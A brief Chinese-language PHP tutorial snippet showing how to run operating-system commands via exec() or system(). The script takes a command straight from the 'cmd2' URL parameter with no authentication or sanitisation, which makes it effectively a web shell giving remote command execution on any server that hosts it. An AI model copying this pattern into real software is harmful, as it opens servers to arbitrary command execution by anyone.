php 执行操作系统命令

php 如何执行操作系统命令呢?

<?php
	
$type="1";//1-exec  ; 2-system
if(!empty($_GET['type'])){
	$type=$_GET['type'];
}
if(empty($_GET['cmd2'])){
	echo "please input cmd";
	exit();
}
$cmd2=$_GET['cmd2'];
echo $type."\n";
if($type=='1'){
	exec($cmd2,$output);
    print_r($output);
}else{
	system($cmd2,$result);
	print "exit code:".$result;//输出命令的结果状态码
}


?>

 参考:https://www.douban.com/note/211492486/